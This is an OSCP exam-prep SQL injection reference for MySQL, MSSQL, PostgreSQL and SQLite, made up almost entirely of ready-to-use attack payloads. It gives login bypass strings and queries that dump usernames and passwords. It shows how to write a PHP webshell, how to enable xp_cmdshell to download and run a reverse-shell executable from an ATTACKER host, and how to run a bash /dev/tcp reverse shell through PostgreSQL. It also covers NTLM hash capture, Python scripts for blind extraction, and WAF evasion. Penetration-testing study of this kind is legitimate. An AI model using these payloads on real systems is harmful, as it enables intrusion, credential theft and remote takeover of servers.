SQL Injection Reference

Complete SQLi reference covering MySQL, MSSQL, PostgreSQL, and SQLite. SQLmap is BANNED on OSCP. All injection must be manual.

How It Works

The app takes your input and pastes it into an SQL query. When you type offsec in a login form:

SELECT username,password FROM users WHERE username='offsec' AND password='hashed_pass';

If you type offsec' — the extra quote breaks the query. The database throws an error. That means you control the query.

Type offsec' or 1=1;-- - and the query becomes:

SELECT username,password FROM users WHERE username='offsec' or 1=1;-- -' AND password='hashed_pass';

or 1=1 is always true, -- - comments out the rest. You’re in.


Step 1 — Detect the Injection Point

Use wfuzz to test a form field with known SQLi payloads and special characters:

wfuzz -c -z file,/usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt -d "username=FUZZ&password=bar" -u http://TARGET/login.php
wfuzz -c -z file,/usr/share/seclists/Fuzzing/special-chars.txt -d "username=FUZZ&password=bar" -u http://TARGET/login.php
wfuzz -c -z file,/usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt -d "username=FUZZ&password=bar" -u http://TARGET/login.php -p "127.0.0.1:8080:HTTP"

Or test manually in Burp Repeater:

'
"
;
' or 1=1-- -
' or 1=1;-- -

What to look for in the response:

  • Database error message → error-based SQLi
  • Login succeeds or page content changes → in-band SQLi (try UNION)
  • No visible change → test blind SQLi

Step 2 — Identify the Database

The error message tells you:

  • You have an error in your SQL syntaxMySQL
  • Unclosed quotation mark... Microsoft SQL ServerMSSQL
  • ERROR: syntax error at or nearPostgreSQL

Comment styles:

DBCommentExample
MySQL-- - or #' or 1=1-- -
MSSQL--' or 1=1--
PostgreSQL--' or 1=1--

⚠️ MySQL needs a space after --. Use -- - to guarantee it. MSSQL/PostgreSQL don’t need the extra -.

⚠️ In URL-encoded POST data, spaces become +. So -- - becomes --+- in Burp.


Step 3 — Choose Your Attack

TypeWhenSpeed
Error-basedError messages show on pageFast
UNION-basedApp displays query results on pageFast
Stacked queries; runs a second statement (test with WAITFOR/SLEEP)Instant RCE on MSSQL
Boolean blindPage changes (but no errors/data)Slow
Time-based blindNo visible change at allSlowest

⚠️ MSSQL priority: If you’re on MSSQL (IIS + ASP.NET + SqlClient), test stacked queries EARLY with '; WAITFOR DELAY '0:0:5'--. If it works, skip everything else and go straight to xp_cmdshell.

Before committing to any attack, run the Detection Checklist below. 5 minutes, 7 tests, no more tunnel vision.


SQLi Detection Checklist (run ALL of these, in order, before committing to an attack)

Don’t pick one attack and tunnel-vision on it. Run every test below. Takes 5 minutes. Tells you exactly what works.

Test 1 — Does injection exist? Put ' in the field. Does the app break, show an error, or behave differently?

  • YES → injectable. Continue testing.
  • NO → try ", \, 1 OR 1=1, ). If nothing breaks, probably not injectable.

Test 2 — Auth bypass?

' OR 1=1--
' OR 1=1-- -

Does it log you in? If yes, you’re in.

Test 3 — Error-based? (look at the response from Test 1) Did the ' test show a database error message on the page? If yes:

MySQL:  ' OR 1=1 IN (SELECT version())-- -
MSSQL:  ' AND 1=cast((SELECT DB_NAME()) AS int)--
Postgres: ' AND 1=cast((SELECT version()) AS int)--

If the error message contains the version or DB name → error-based works. Use it.

Test 4 — UNION-based?

' ORDER BY 1-- -
' ORDER BY 5-- -
' ORDER BY 10-- -

Find the column count, then try UNION SELECT with placeholders. If ORDER BY works but UNION keeps failing → stop. Move to Test 5.

Test 5 — Stacked queries? (CRITICAL — especially on MSSQL)

MSSQL:  '; WAITFOR DELAY '0:0:5'--
MySQL:  '; SELECT SLEEP(5)-- -       (usually fails in PHP apps)
Postgres: '; SELECT pg_sleep(5)--

Did the response take 5 seconds? → stacked queries work. On MSSQL → skip data extraction, go straight to xp_cmdshell.

Test 6 — Boolean blind?

' AND 1=1-- -     → page looks normal?
' AND 1=2-- -     → page looks different?

If the two pages look different → boolean blind works. Script with Python.

Test 7 — Time-based blind? (last resort)

MySQL:  ' AND IF(1=1,SLEEP(5),0)-- -
MSSQL:  '; IF(1=1) WAITFOR DELAY '0:0:5'--     (this IS stacked queries — same as Test 5)
Postgres: ' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)--

⚠️ MSSQL note: WAITFOR DELAY requires stacked queries. If Test 5 worked, skip to xp_cmdshell.

Summary:

TestWhat you learnSpeed
Auth bypassCan you just log in?Instant
Error-basedData comes back in error messagesFast
UNIONData comes back in page contentFast
Stacked queriesCan run separate statements (RCE on MSSQL!)Instant RCE
Boolean blindPage changes = true/falseSlow (script it)
Time-based blindResponse delay = true/falseSlowest (script it)

Authentication Bypass

Put these in the username field:

offsec' or 1=1;-- -
admin' or 1=1;-- -
' or 1=1;-- -
' or 1=1-- -
' or 1=1#
admin'-- -
') or ('1'='1'-- -
" or 1=1-- -

Why it works:

SELECT * FROM users WHERE username='offsec' or 1=1;-- -' AND password='...'
--                                          ^^^^^^^^     ^^^^^^^^^^^^^^^^^^
--                                          always true  commented out

Error-Based SQLi

' or 1=1 in (SELECT version())-- -
' or 1=1 in (SELECT database())-- -
' or 1=1 in (SELECT schema_name FROM information_schema.schemata LIMIT 0,1)-- -
' or 1=1 in (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)-- -
' or 1=1 in (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)-- -
' or 1=1 in (SELECT group_concat(username,';',password SEPARATOR '\n\n') FROM users)-- -

MySQL — extractvalue():

' AND extractvalue(1, concat(0x3a, database()))-- -
' AND extractvalue(1, concat(0x3a, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- -
' AND extractvalue(1, concat(0x3a, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)))-- -
' AND extractvalue(1, concat(0x3a, (SELECT concat(username,';',password) FROM users LIMIT 0,1)))-- -

0x3a = :. LIMIT 0,1 = first row, LIMIT 1,1 = second row.

⚠️ extractvalue() truncates to ~32 chars. Use SUBSTRING() for long data:

' AND extractvalue(1, concat(0x3a, SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 30)))-- -
' AND extractvalue(1, concat(0x3a, SUBSTRING((SELECT password FROM users LIMIT 0,1), 31, 30)))-- -

MySQL — updatexml() (if extractvalue blocked):

' AND updatexml(1, concat(0x3a, (SELECT version())), 1)-- -
' AND updatexml(1, concat(0x3a, (SELECT concat(username,';',password) FROM users LIMIT 0,1)), 1)-- -

MSSQL — cast() / convert():

' AND 1=cast((SELECT @@version) AS int)--
' AND 1=cast((SELECT DB_NAME()) AS int)--
' AND 1=cast((SELECT TOP 1 name FROM sysdatabases) AS int)--
' AND 1=cast((SELECT TOP 1 name FROM sysobjects WHERE xtype='U') AS int)--
' AND 1=cast((SELECT TOP 1 username FROM users) AS int)--
' AND 1=cast((SELECT TOP 1 password FROM users) AS int)--

MSSQL next row — use NOT IN (no LIMIT):

' AND 1=cast((SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND name NOT IN ('users')) AS int)--
' AND 1=cast((SELECT TOP 1 username FROM users WHERE username NOT IN ('admin')) AS int)--

PostgreSQL — cast():

' AND 1=cast((SELECT version()) AS int)--
' AND 1=cast((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1) AS int)--
' AND 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1) AS int)--
' AND 1=cast((SELECT username FROM users LIMIT 1) AS int)--

Next row: add OFFSET 1, OFFSET 2, etc.


UNION-Based SQLi

Step 1 — Find column count:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 6-- -          (ERROR → only 5 columns)

In Burp: '+ORDER+BY+1--+-

Step 2 — Find visible columns:

' UNION SELECT 'A1','B2','C3','D4','D5'-- -

In Burp: '+union+select+'A1','B2','C3','D4','D5'--+-

If type errors, use NULL: ' UNION SELECT NULL,'B2',NULL,NULL,NULL-- -

Step 3 — Extract data:

MySQL:

'+union+select+'A1',database(),'C3','D4','D5'--+-
'+union+select+'A1',table_name,'C3','D4','D5'+from+information_schema.tables+where+table_schema=database()--+-
'+union+select+'A1',column_name,'C3','D4','D5'+from+information_schema.columns+where+table_name='users'--+-
'+union+select+'A1',group_concat(username,'@@',password),'C3','D4','D5'+from+users--+-

Row by row if group_concat truncated:

'+union+select+'A1',concat(username,'@@',password),'C3','D4','D5'+from+users+LIMIT+0,1--+-
'+union+select+'A1',concat(username,'@@',password),'C3','D4','D5'+from+users+LIMIT+1,1--+-

MSSQL:

' UNION SELECT NULL,@@version,NULL,NULL,NULL--
' UNION SELECT NULL,DB_NAME(),NULL,NULL,NULL--
' UNION SELECT NULL,name,NULL,NULL,NULL FROM master..sysdatabases--
' UNION SELECT NULL,name,NULL,NULL,NULL FROM sysobjects WHERE xtype='U'--
' UNION SELECT NULL,name,NULL,NULL,NULL FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')--
' UNION SELECT NULL,username+':'+password,NULL,NULL,NULL FROM users--

Row by row (no LIMIT in MSSQL):

' UNION SELECT TOP 1 NULL,username,NULL,NULL,NULL FROM users--
' UNION SELECT TOP 1 NULL,username,NULL,NULL,NULL FROM users WHERE username NOT IN ('admin')--

PostgreSQL:

' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='public'--
' UNION SELECT NULL,column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT NULL,username||':'||password,NULL,NULL FROM users--

SQLite:

' UNION SELECT NULL,group_concat(tbl_name),NULL FROM sqlite_master WHERE type='table'--
' UNION SELECT NULL,sql,NULL FROM sqlite_master WHERE tbl_name='users'--
' UNION SELECT NULL,group_concat(username||':'||password,char(10)),NULL FROM users--

The information_schema Cheat Sheet

MySQL and PostgreSQL:

What you wantQuery
All databasesSELECT schema_name FROM information_schema.schemata
Tables in current DBSELECT table_name FROM information_schema.tables WHERE table_schema=database()
Columns in a tableSELECT column_name FROM information_schema.columns WHERE table_name='users'
Dump dataSELECT group_concat(user,';',passwd SEPARATOR '\n\n') FROM users

MSSQL (different system tables):

What you wantMSSQL Query
All databasesSELECT name FROM master..sysdatabases
TablesSELECT name FROM sysobjects WHERE xtype='U'
ColumnsSELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')

SQLi → File Read / Webshell (MySQL)

Read a file:

' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL,NULL-- -
' UNION SELECT NULL,LOAD_FILE('C:/xampp/htdocs/wp-config.php'),NULL,NULL,NULL-- -

Write a webshell:

' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL,NULL,NULL INTO OUTFILE '/var/www/html/shell.php'-- -
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL,NULL,NULL INTO OUTFILE 'C:/xampp/htdocs/shell.php'-- -

Then: http://TARGET/shell.php?cmd=whoami

⚠️ Fails if: file exists, no FILE privilege, or secure_file_priv restricts paths.


Stacked Queries — MSSQL RCE (xp_cmdshell)

MSSQL supports ; to run multiple statements. MySQL does NOT in most PHP apps.

Detect: '; WAITFOR DELAY '0:0:5'-- → 5 second delay = stacked queries work.

Step 1 — Enable xp_cmdshell:

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--

Step 2 — Run commands (output is blind):

'; EXEC xp_cmdshell 'whoami';--

Confirm with ping: '; EXEC xp_cmdshell 'ping ATTACKER_IP';-- Listen: sudo tcpdump -i tun0 icmp

Step 3 — Reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f exe -o shell.exe
python3 -m http.server 80
'; EXEC xp_cmdshell 'certutil -urlcache -f http://ATTACKER/shell.exe C:\Windows\Temp\shell.exe';--
'; EXEC xp_cmdshell 'C:\Windows\Temp\shell.exe';--

If xp_cmdshell denied — steal hash:

'; EXEC master..xp_dirtree '\\ATTACKER_IP\share\';--

Catch: sudo responder -I tun0 -A → crack with hashcat -m 5600

URL-encoded for Burp:

';+EXEC+sp_configure+'show+advanced+options',1;+RECONFIGURE;--
';+EXEC+sp_configure+'xp_cmdshell',1;+RECONFIGURE;--
';+EXEC+xp_cmdshell+'whoami';--
';+EXEC+xp_cmdshell+'ping+ATTACKER_IP';--

Stacked Queries — PostgreSQL RCE

'; COPY (SELECT '') TO PROGRAM 'whoami';--
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"';--

Requires superuser role. Check with \du in psql.


Blind SQLi — Boolean-Based

Confirm: offsec' or 1=1-- - vs offsec' or 1=2-- - → different pages?

Extract one char at a time:

offsec' AND substring(database(),1,1)='a'-- -     → FALSE
offsec' AND substring(database(),1,1)='o'-- -     → TRUE
offsec' AND substring(database(),2,1)='f'-- -     → TRUE
offsec' AND (SELECT substring(password,1,1) FROM users LIMIT 1)='a'-- -

Blind SQLi — Time-Based

-- MySQL
offsec' AND IF(1=1,SLEEP(2),0)-- -
offsec' AND IF(substring(database(),1,1)='o',SLEEP(2),0)-- -

-- MSSQL
offsec'; IF(1=1) WAITFOR DELAY '0:0:5'--
offsec'; IF(SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:5'--

-- PostgreSQL
offsec'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

Blind SQLi — Python Scripts (SQLmap is BANNED)

Boolean-based extractor:

#!/usr/bin/env python3
import requests, string

url = "http://TARGET/login.php"
true_indicator = "Welcome"
charset = string.ascii_letters + string.digits + "!@#$%^&*()-_=+.,;:"
extracted = ""

for pos in range(1, 50):
    found = False
    for char in charset:
        payload = f"offsec' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1))={ord(char)}-- -"
        data = {"username": payload, "password": "anything"}
        r = requests.post(url, data=data)
        if true_indicator in r.text:
            extracted += char
            print(f"[+] {pos}: {char}  =>  {extracted}")
            found = True
            break
    if not found:
        print(f"[*] Done: {extracted}")
        break

Time-based extractor:

#!/usr/bin/env python3
import requests, string

url = "http://TARGET/login.php"
charset = string.ascii_letters + string.digits + "!@#$%^&*()-_=+.,;:"
extracted = ""

for pos in range(1, 50):
    found = False
    for char in charset:
        payload = f"offsec' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1))={ord(char)},SLEEP(3),0)-- -"
        data = {"username": payload, "password": "anything"}
        try:
            r = requests.post(url, data=data, timeout=8)
            if r.elapsed.total_seconds() >= 2.5:
                extracted += char
                print(f"[+] {pos}: {char}  =>  {extracted}")
                found = True
                break
        except requests.exceptions.Timeout:
            extracted += char
            print(f"[+] {pos}: {char}  =>  {extracted}")
            found = True
            break
    if not found:
        print(f"[*] Done: {extracted}")
        break

Time payload per DB:

DBPayload
MySQLIF(condition,SLEEP(3),0)
MSSQLIF(condition) WAITFOR DELAY '0:0:3'
PostgreSQLCASE WHEN condition THEN pg_sleep(3) ELSE pg_sleep(0) END

Filter / WAF Bypass

-- Space blocked? Use comments
'+union+select+/**/NULL,version(),NULL--+-

-- UNION blocked? Case variation
'+uNiOn+sElEcT+'A1',database(),'C3'--+-

-- Quotes blocked? Use hex
... WHERE table_name=0x7573657273              (hex for 'users')

-- AND/OR blocked?
' && 1=1-- -
' || 1=1-- -

-- Double URL encoding (if WAF decodes once)
%2527+or+1%253d1--+-